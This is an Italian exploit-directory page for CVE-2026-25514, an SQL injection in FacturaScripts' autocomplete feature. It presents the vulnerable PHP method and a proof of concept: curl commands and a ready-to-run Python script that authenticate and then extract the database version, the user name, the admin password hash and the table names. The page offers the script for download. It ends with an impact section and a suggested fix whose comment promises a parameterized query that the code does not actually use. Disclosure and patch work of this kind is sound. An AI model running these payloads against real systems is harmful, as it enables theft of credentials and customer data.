Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts presenta un'iniezione SQL nelle azioni di autocompletamento. | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-25514
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts presenta un'iniezione SQL nelle azioni di autocompletamento.

Vedi Repository
25 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25514: FacturaScripts presenta SQL Injection nelle azioni di autocompletamento

Panoramica

CampoDettagli
ID CVECVE-2026-25514
GravitàALTA
AdvisoryVisualizza Advisory
Scoperto daLukasz Rybak

Prodotti interessati

  • facturascripts/facturascripts (versioni: < 2025.81)

Classificazione CWE

  • CWE-20: Convalida dell'input impropria
  • CWE-89: Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL ('SQL Injection')
  • CWE-943: Neutralizzazione impropria di elementi speciali nella logica delle query di dati

Dettagli

Sintesi

FacturaScripts contiene una vulnerabilità critica di SQL injection nella funzionalità di autocompletamento che consente ad attaccanti autenticati di estrarre dati sensibili dal database, incluse credenziali utente, impostazioni di configurazione e tutti i dati aziendali memorizzati. La vulnerabilità esiste nel metodo CodeModel::all() dove i parametri forniti dall'utente vengono concatenati direttamente nelle query SQL senza sanitizzazione o binding parametrizzato.


Dettagli

Molti controller in FacturaScripts, tra cui CopyModel, ListController e PanelController, implementano un'azione di autocompletamento che elabora l'input dell'utente tramite i metodi CodeModel::search() o CodeModel::all(). Questi metodi costruiscono query SQL concatenando direttamente parametri controllati dall'utente senza alcuna validazione o escaping.

Posizione del codice vulnerabile

File: /Core/Model/CodeModel.php Metodo: all() Righe: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Parametri vulnerabili

I seguenti parametri sono vulnerabili a SQL injection:

  1. source → Mappa a $tableName - Iniezione del nome della tabella
  2. fieldcode → Mappa a $fieldCode - Iniezione del nome della colonna
  3. fieldtitle → Mappa a $fieldDescription - Iniezione del nome della colonna (vettore di attacco principale)

Flusso dell'attacco

  1. L'attaccante si autentica con credenziali valide (qualsiasi ruolo utente)
  2. L'attaccante invia una richiesta POST a /CopyModel con action=autocomplete
  3. Funzioni/query SQL malevole vengono iniettate tramite il parametro fieldtitle
  4. L'applicazione esegue l'SQL iniettato e restituisce i risultati in formato JSON
  5. L'attaccante estrae dati sensibili dal database

Proof of Concept (PoC)

Prerequisiti

  • Credenziali di autenticazione valide (admin/admin nell'istanza di test)
  • Accesso all'interfaccia web di FacturaScripts

Sfruttamento manuale passo-passo (CLI)

Poiché FacturaScripts utilizza MultiRequestProtection, è richiesto un multireqtoken valido per ogni richiesta POST.

1. Ottenere il token iniziale e il cookie di sessione: FacturaScripts reindirizza / a /login, quindi usiamo -L per seguire i redirect e -c per salvare il cookie di sessione.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Autenticarsi (Login): Usare il cookie salvato e il token per accedere.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Estrarre la versione del database: Ottenere un token aggiornato per la richiesta successiva ed eseguire l'iniezione.

root@kitploit:~
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Estrarre utente e nome del database:

root@kitploit:~
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Estrarre l'hash della password dell'amministratore:

root@kitploit:~
# Ottieni un token aggiornato
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Esegui SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Script di sfruttamento automatizzato

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
image

Impatto

Questa vulnerabilità di SQL injection ha un impatto CRITICO:

Riservatezza dei dati

  • Divulgazione completa del database - L'attaccante può estrarre tutti i dati, inclusi:
    • Credenziali utente (hash delle password)
    • Informazioni sui clienti (nomi, indirizzi, codici fiscali, ecc.)
    • Registri finanziari (fatture, pagamenti, dettagli bancari)
    • Logica di business e dati di configurazione
    • Impostazioni di plugin e di sistema

Chi è interessato?

  • Tutte le installazioni di FacturaScripts che eseguono versioni vulnerabili
  • Tutti gli utenti autenticati possono sfruttarla (non solo gli amministratori)
  • Le aziende che utilizzano FacturaScripts per contabilità/fatturazione
  • I clienti i cui dati sono memorizzati nel sistema

Correzione consigliata

Rimedio immediato

Opzione 1: Usare Prepared Statements

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Crediti

Scoperto da: Łukasz Rybak

Riferimenti

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

Disclaimer

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche coordinate di divulgazione delle vulnerabilità. Le informazioni qui fornite sono esclusivamente a scopo educativo e difensivo.

Scarica lo strumento